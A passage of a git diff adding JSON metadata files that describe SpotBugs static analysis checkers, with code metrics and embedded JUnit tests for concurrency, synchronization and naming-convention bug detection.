\"CompoundLogicalRightShiftingOnSharedVariable\", \"toggle\", 7);\n }" + }, + { + "description": "bugForCompoundRightShift", + "expected-problems": null, + "expected-linenumbers": [ + 373, + 381 + ], + "code": "@Test\n void bugForCompoundRightShift() {\n // considered multithreaded because it has a method with synchronized block\n performAnalysis(\"multithreaded/compoundoperation/CompoundRightShiftingOnSharedVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundRightShiftingOnSharedVariable\", \"toggle\", 7);\n }" + }, + { + "description": "bugForCompoundLeftShift", + "expected-problems": null, + "expected-linenumbers": [ + 384, + 392 + ], + "code": "@Test\n void bugForCompoundLeftShift() {\n // considered multithreaded because it has synchronized method\n performAnalysis(\"multithreaded/compoundoperation/CompoundLeftShiftingOnSharedVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundLeftShiftingOnSharedVariable\", \"toggle\", 7);\n }" + }, + { + "description": "bugForCompoundModulo", + "expected-problems": null, + "expected-linenumbers": [ + 395, + 403 + ], + "code": "@Test\n void bugForCompoundModulo() {\n // considered multithreaded because it implements Runnable\n performAnalysis(\"multithreaded/compoundoperation/CompoundModuloOnSharedVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundModuloOnSharedVariable\", \"run\", 8);\n }" + }, + { + "description": "bugForCompoundMultiplication", + "expected-problems": null, + "expected-linenumbers": [ + 406, + 413 + ], + "code": "@Test\n void bugForCompoundMultiplication() {\n performAnalysis(\"multithreaded/compoundoperation/CompoundMultiplicationOnSharedVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundMultiplicationOnSharedVariable\", \"toggle\", 7);\n }" + }, + { + "description": "bugForCompoundDivision", + "expected-problems": null, + "expected-linenumbers": [ + 416, + 423 + ], + "code": "@Test\n void bugForCompoundDivision() {\n performAnalysis(\"multithreaded/compoundoperation/CompoundDivisionOnSharedVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundDivisionOnSharedVariable\", \"toggle\", 7);\n }" + }, + { + "description": "bugForCompoundSubtraction", + "expected-problems": null, + "expected-linenumbers": [ + 426, + 433 + ], + "code": "@Test\n void bugForCompoundSubtraction() {\n performAnalysis(\"multithreaded/compoundoperation/CompoundSubtractionOnSharedVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundSubtractionOnSharedVariable\", \"toggle\", 7);\n }" + }, + { + "description": "bugForCompoundAdditionOnVolatileVar", + "expected-problems": null, + "expected-linenumbers": [ + 437, + 445 + ], + "code": "@Test\n void bugForCompoundAdditionOnVolatileVar() {\n // simply defining the field as volatile is not enough\n performAnalysis(\"multithreaded/compoundoperation/CompoundAdditionOnSharedVolatileVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundAdditionOnSharedVolatileVariable\", \"toggle\", 7);\n }" + }, + { + "description": "bugForCompoundXOR", + "expected-problems": null, + "expected-linenumbers": [ + 448, + 456 + ], + "code": "@Test\n void bugForCompoundXOR() {\n // considered multithreaded because it has a field (not the problematic) with synchronized assignment\n performAnalysis(\"multithreaded/compoundoperation/CompoundXOROperationOnSharedVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundXOROperationOnSharedVariable\", \"toggle\", 12);\n }" + }, + { + "description": "bugForSimpleAdditionDependingOnPrevValue", + "expected-problems": null, + "expected-linenumbers": [ + 459, + 466 + ], + "code": "@Test\n void bugForSimpleAdditionDependingOnPrevValue() {\n performAnalysis(\"multithreaded/compoundoperation/AdditionOnSharedVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"AdditionOnSharedVariable\", \"toggle\", 7);\n }" + }, + { + "description": "bugForNegateDependingOnPrevValue", + "expected-problems": null, + "expected-linenumbers": [ + 469, + 476 + ], + "code": "@Test\n void bugForNegateDependingOnPrevValue() {\n performAnalysis(\"multithreaded/compoundoperation/NegateSharedVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"NegateSharedVariable\", \"toggle\", 7);\n }" + }, + { + "description": "bugForCompoundSubtractionComplex", + "expected-problems": null, + "expected-linenumbers": [ + 479, + 486 + ], + "code": "@Test\n void bugForCompoundSubtractionComplex() {\n performAnalysis(\"multithreaded/compoundoperation/CompoundSubstractComplexExpression.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundSubstractComplexExpression\", \"toggle\", 7);\n }" + }, + { + "description": "bugForCompoundAdditionComplexWithAnotherVar", + "expected-problems": null, + "expected-linenumbers": [ + 489, + 496 + ], + "code": "@Test\n void bugForCompoundAdditionComplexWithAnotherVar() {\n performAnalysis(\"multithreaded/compoundoperation/CompoundAdditionComplexExpressionWithAnotherVar.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundAdditionComplexExpressionWithAnotherVar\", \"toggle\", 8);\n }" + }, + { + "description": "bugForCompoundAdditionWithAnotherVar", + "expected-problems": null, + "expected-linenumbers": [ + 499, + 507 + ], + "code": "@Test\n void bugForCompoundAdditionWithAnotherVar() {\n performAnalysis(\"multithreaded/compoundoperation/CompoundAdditionWithAnotherVar.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 1);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(PRIMITIVE_BUG, \"CompoundAdditionWithAnotherVar\", \"toggle\", 8);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundAdditionWithAnotherVar\", \"toggle\", 9);\n }" + }, + { + "description": "bugForCompoundSubstractionOfArg", + "expected-problems": null, + "expected-linenumbers": [ + 510, + 517 + ], + "code": "@Test\n void bugForCompoundSubstractionOfArg() {\n performAnalysis(\"multithreaded/compoundoperation/CompoundSubstractionOfArg.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundSubstractionOfArg\", \"toggle\", 7);\n }" + }, + { + "description": "bugForCompoundSubstractionOfFunCall", + "expected-problems": null, + "expected-linenumbers": [ + 520, + 527 + ], + "code": "@Test\n void bugForCompoundSubstractionOfFunCall() {\n performAnalysis(\"multithreaded/compoundoperation/CompoundSubstractionOfMethodReturnValue.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundSubstractionOfMethodReturnValue\", \"toggle\", 7);\n }" + }, + { + "description": "bugForTwoCompoundOperations", + "expected-problems": null, + "expected-linenumbers": [ + 529, + 537 + ], + "code": "@Test\n void bugForTwoCompoundOperations() {\n performAnalysis(\"multithreaded/compoundoperation/CompoundDivideMultiplyOnVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 2);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundDivideMultiplyOnVariable\", \"divide\", 7);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundDivideMultiplyOnVariable\", \"multiply\", 11);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StartInConstructor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StartInConstructor.json new file mode 100644 index 0000000..5432722 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StartInConstructor.json @@ -0,0 +1,13 @@ +{ + "name": "StartInConstructor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 90, + "branches": 9, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StaticCalendarDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StaticCalendarDetector.json new file mode 100644 index 0000000..b2fdf6b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StaticCalendarDetector.json @@ -0,0 +1,13 @@ +{ + "name": "StaticCalendarDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 356, + "branches": 52, + "apis": 59, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StaticFieldLoadStreamFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StaticFieldLoadStreamFactory.json new file mode 100644 index 0000000..f4a9d24 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StaticFieldLoadStreamFactory.json @@ -0,0 +1,13 @@ +{ + "name": "StaticFieldLoadStreamFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 81, + "branches": 5, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/Stream.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/Stream.json new file mode 100644 index 0000000..597305b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/Stream.json @@ -0,0 +1,13 @@ +{ + "name": "Stream", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 323, + "branches": 24, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamEquivalenceClass.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamEquivalenceClass.json new file mode 100644 index 0000000..89a3650 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamEquivalenceClass.json @@ -0,0 +1,13 @@ +{ + "name": "StreamEquivalenceClass", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 81, + "branches": 4, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamEscape.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamEscape.json new file mode 100644 index 0000000..375c7ba --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamEscape.json @@ -0,0 +1,13 @@ +{ + "name": "StreamEscape", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 74, + "branches": 4, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamFactory.json new file mode 100644 index 0000000..9e52ca0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamFactory.json @@ -0,0 +1,13 @@ +{ + "name": "StreamFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 53, + "branches": 7, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamFrameModelingVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamFrameModelingVisitor.json new file mode 100644 index 0000000..354a367 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamFrameModelingVisitor.json @@ -0,0 +1,13 @@ +{ + "name": "StreamFrameModelingVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 138, + "branches": 14, + "apis": 30, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamResourceTracker.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamResourceTracker.json new file mode 100644 index 0000000..711ca82 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StreamResourceTracker.json @@ -0,0 +1,13 @@ +{ + "name": "StreamResourceTracker", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 311, + "branches": 29, + "apis": 52, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StringConcatenation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StringConcatenation.json new file mode 100644 index 0000000..7d649f0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/StringConcatenation.json @@ -0,0 +1,13 @@ +{ + "name": "StringConcatenation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 292, + "branches": 51, + "apis": 41, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SuperfluousInstanceOf.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SuperfluousInstanceOf.json new file mode 100644 index 0000000..6c53b84 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SuperfluousInstanceOf.json @@ -0,0 +1,13 @@ +{ + "name": "SuperfluousInstanceOf", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 121, + "branches": 15, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SuspiciousThreadInterrupted.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SuspiciousThreadInterrupted.json new file mode 100644 index 0000000..79b160c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SuspiciousThreadInterrupted.json @@ -0,0 +1,13 @@ +{ + "name": "SuspiciousThreadInterrupted", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 139, + "branches": 22, + "apis": 27, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SwitchFallthrough.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SwitchFallthrough.json new file mode 100644 index 0000000..a14f7d4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SwitchFallthrough.json @@ -0,0 +1,13 @@ +{ + "name": "SwitchFallthrough", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 376, + "branches": 68, + "apis": 85, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SynchronizationOnSharedBuiltinConstant.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SynchronizationOnSharedBuiltinConstant.json new file mode 100644 index 0000000..670bd4f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SynchronizationOnSharedBuiltinConstant.json @@ -0,0 +1,77 @@ +{ + "name": "SynchronizationOnSharedBuiltinConstant", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 154, + "branches": 17, + "apis": 32, + "test": [ + { + "description": "lockOn_noncompliantBooleanLockObject", + "expected-problems": null, + "expected-linenumbers": [ + 8, + 12 + ], + "code": "@Test\n void lockOn_noncompliantBooleanLockObject() {\n performAnalysis(\"synchronizationOnSharedBuiltinConstant/SynchronizationOnSharedBuiltinConstantBad.class\");\n assertBugInMethod(\"DL_SYNCHRONIZATION_ON_BOOLEAN\", \"SynchronizationOnSharedBuiltinConstantBad\", \"noncompliantBooleanLockObject\");\n }" + }, + { + "description": "lockOn_noncompliantBoxedPrimitive", + "expected-problems": null, + "expected-linenumbers": [ + 14, + 18 + ], + "code": "@Test\n void lockOn_noncompliantBoxedPrimitive() {\n performAnalysis(\"synchronizationOnSharedBuiltinConstant/SynchronizationOnSharedBuiltinConstantBad.class\");\n assertBugInMethod(\"DL_SYNCHRONIZATION_ON_BOXED_PRIMITIVE\", \"SynchronizationOnSharedBuiltinConstantBad\", \"noncompliantBoxedPrimitive\");\n }" + }, + { + "description": "lockOn_compliantInteger", + "expected-problems": null, + "expected-linenumbers": [ + 20, + 24 + ], + "code": "@Test\n void lockOn_compliantInteger() {\n performAnalysis(\"synchronizationOnSharedBuiltinConstant/SynchronizationOnSharedBuiltinConstantGood.class\");\n assertNoBugInMethod(\"DL_SYNCHRONIZATION_ON_BOXED_PRIMITIVE\", \"SynchronizationOnSharedBuiltinConstantGood\", \"compliantInteger\");\n }" + }, + { + "description": "lockOn_noncompliantInternedStringObject", + "expected-problems": null, + "expected-linenumbers": [ + 26, + 30 + ], + "code": "@Test\n void lockOn_noncompliantInternedStringObject() {\n performAnalysis(\"synchronizationOnSharedBuiltinConstant/SynchronizationOnSharedBuiltinConstantBad.class\");\n assertBugInMethod(\"DL_SYNCHRONIZATION_ON_INTERNED_STRING\", \"SynchronizationOnSharedBuiltinConstantBad\", \"noncompliantInternedStringObject\");\n }" + }, + { + "description": "lockOn_noncompliantStringLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 32, + 36 + ], + "code": "@Test\n void lockOn_noncompliantStringLiteral() {\n performAnalysis(\"synchronizationOnSharedBuiltinConstant/SynchronizationOnSharedBuiltinConstantBad.class\");\n assertBugInMethod(\"DL_SYNCHRONIZATION_ON_SHARED_CONSTANT\", \"SynchronizationOnSharedBuiltinConstantBad\", \"noncompliantStringLiteral\");\n }" + }, + { + "description": "lockOn_compliantStringInstance", + "expected-problems": null, + "expected-linenumbers": [ + 38, + 42 + ], + "code": "@Test\n void lockOn_compliantStringInstance() {\n performAnalysis(\"synchronizationOnSharedBuiltinConstant/SynchronizationOnSharedBuiltinConstantGood.class\");\n assertNoBugInMethod(\"DL_SYNCHRONIZATION_ON_SHARED_CONSTANT\", \"SynchronizationOnSharedBuiltinConstantGood\", \"compliantStringInstance\");\n }" + }, + { + "description": "lockOn_compliantPrivateFinalLockObject", + "expected-problems": null, + "expected-linenumbers": [ + 44, + 48 + ], + "code": "@Test\n void lockOn_compliantPrivateFinalLockObject() {\n performAnalysis(\"synchronizationOnSharedBuiltinConstant/SynchronizationOnSharedBuiltinConstantGood.class\");\n assertNoBugInMethod(\"DL_SYNCHRONIZATION_ON_BOXED_PRIMITIVE\", \"SynchronizationOnSharedBuiltinConstantGood\", \"compliantPrivateFinalLockObject\");\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SynchronizeAndNullCheckField.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SynchronizeAndNullCheckField.json new file mode 100644 index 0000000..ba8ac59 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SynchronizeAndNullCheckField.json @@ -0,0 +1,13 @@ +{ + "name": "SynchronizeAndNullCheckField", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 112, + "branches": 17, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SynchronizeOnClassLiteralNotGetClass.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SynchronizeOnClassLiteralNotGetClass.json new file mode 100644 index 0000000..5a5f67a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SynchronizeOnClassLiteralNotGetClass.json @@ -0,0 +1,13 @@ +{ + "name": "SynchronizeOnClassLiteralNotGetClass", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 147, + "branches": 27, + "apis": 24, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SynchronizingOnContentsOfFieldToProtectField.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SynchronizingOnContentsOfFieldToProtectField.json new file mode 100644 index 0000000..c2fed12 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SynchronizingOnContentsOfFieldToProtectField.json @@ -0,0 +1,13 @@ +{ + "name": "SynchronizingOnContentsOfFieldToProtectField", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 149, + "branches": 24, + "apis": 19, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TestASM.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TestASM.json new file mode 100644 index 0000000..dee721d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TestASM.json @@ -0,0 +1,23 @@ +{ + "name": "TestASM", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 93, + "branches": 5, + "apis": 15, + "test": [ + { + "description": "testASM", + "expected-problems": null, + "expected-linenumbers": [ + 8, + 26 + ], + "code": "@Test\n void testASM() {\n performAnalysis(\"TestASM.class\");\n\n assertBugTypeCount(\"NM_METHOD_NAMING_CONVENTION\", 1);\n assertBugTypeCount(\"NM_FIELD_NAMING_CONVENTION\", 6);\n // It is reported both by TestASM and IDivResultCastToDouble\n assertBugTypeCount(\"ICAST_INT_CAST_TO_DOUBLE_PASSED_TO_CEIL\", 2);\n\n assertBugInMethod(\"NM_METHOD_NAMING_CONVENTION\", \"TestASM\", \"BadMethodName\");\n assertBugAtField(\"NM_FIELD_NAMING_CONVENTION\", \"TestASM\", \"badFieldNamePublicStaticFinal\");\n assertBugAtField(\"NM_FIELD_NAMING_CONVENTION\", \"TestASM\", \"BadFieldNamePublicStatic\");\n assertBugAtField(\"NM_FIELD_NAMING_CONVENTION\", \"TestASM\", \"BadFieldNamePublic\");\n assertBugAtField(\"NM_FIELD_NAMING_CONVENTION\", \"TestASM\", \"BadFieldNameProtectedStatic\");\n assertBugAtField(\"NM_FIELD_NAMING_CONVENTION\", \"TestASM\", \"BadFieldNameProtected\");\n assertBugAtField(\"NM_FIELD_NAMING_CONVENTION\", \"TestASM\", \"BadFieldNamePrivate\");\n assertBugInMethod(\"NM_METHOD_NAMING_CONVENTION\", \"TestASM\", \"BadMethodName\");\n assertBugInMethod(\"ICAST_INT_CAST_TO_DOUBLE_PASSED_TO_CEIL\", \"TestASM\", \"BadMethodName\");\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TestDataflowAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TestDataflowAnalysis.json new file mode 100644 index 0000000..2cad89e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TestDataflowAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "TestDataflowAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 169, + "branches": 13, + "apis": 25, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TestingGround.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TestingGround.json new file mode 100644 index 0000000..dd6fc82 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TestingGround.json @@ -0,0 +1,13 @@ +{ + "name": "TestingGround", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 52, + "branches": 2, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TestingGround2.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TestingGround2.json new file mode 100644 index 0000000..d715e06 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TestingGround2.json @@ -0,0 +1,13 @@ +{ + "name": "TestingGround2", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 51, + "branches": 5, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ThrowingExceptions.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ThrowingExceptions.json new file mode 100644 index 0000000..bd20991 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ThrowingExceptions.json @@ -0,0 +1,23 @@ +{ + "name": "ThrowingExceptions", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 199, + "branches": 25, + "apis": 58, + "test": [ + { + "description": "throwingExceptionsTests", + "expected-problems": null, + "expected-linenumbers": [ + 8, + 25 + ], + "code": "@Test\n void throwingExceptionsTests() {\n performAnalysis(\"MethodsThrowingExceptions.class\", \"MethodsThrowingExceptions$ThrowThrowable.class\",\n \"MethodsThrowingExceptions$1.class\", \"MethodsThrowingExceptions$2.class\");\n\n assertBugTypeCount(\"THROWS_METHOD_THROWS_RUNTIMEEXCEPTION\", 1);\n assertBugTypeCount(\"THROWS_METHOD_THROWS_CLAUSE_BASIC_EXCEPTION\", 1);\n assertBugTypeCount(\"THROWS_METHOD_THROWS_CLAUSE_THROWABLE\", 2);\n\n assertBugInMethod(\"THROWS_METHOD_THROWS_RUNTIMEEXCEPTION\", \"MethodsThrowingExceptions\", \"isCapitalizedThrowingRuntimeException\");\n assertNoBugInMethod(\"THROWS_METHOD_THROWS_RUNTIMEEXCEPTION\", \"MethodsThrowingExceptions\", \"isCapitalizedThrowingSpecializedException\");\n\n assertBugInMethod(\"THROWS_METHOD_THROWS_CLAUSE_BASIC_EXCEPTION\", \"MethodsThrowingExceptions\", \"methodThrowingBasicException\");\n assertNoBugInMethod(\"THROWS_METHOD_THROWS_CLAUSE_BASIC_EXCEPTION\", \"MethodsThrowingExceptions\", \"methodThrowingIOException\");\n\n assertBugInMethod(\"THROWS_METHOD_THROWS_CLAUSE_THROWABLE\", \"MethodsThrowingExceptions\", \"methodThrowingThrowable\");\n assertBugInMethod(\"THROWS_METHOD_THROWS_CLAUSE_THROWABLE\", \"MethodsThrowingExceptions$ThrowThrowable\", \"run\");\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TrainFieldStoreTypes.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TrainFieldStoreTypes.json new file mode 100644 index 0000000..9cab2af --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TrainFieldStoreTypes.json @@ -0,0 +1,13 @@ +{ + "name": "TrainFieldStoreTypes", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 146, + "branches": 14, + "apis": 24, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TrainLongInstantfParams.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TrainLongInstantfParams.json new file mode 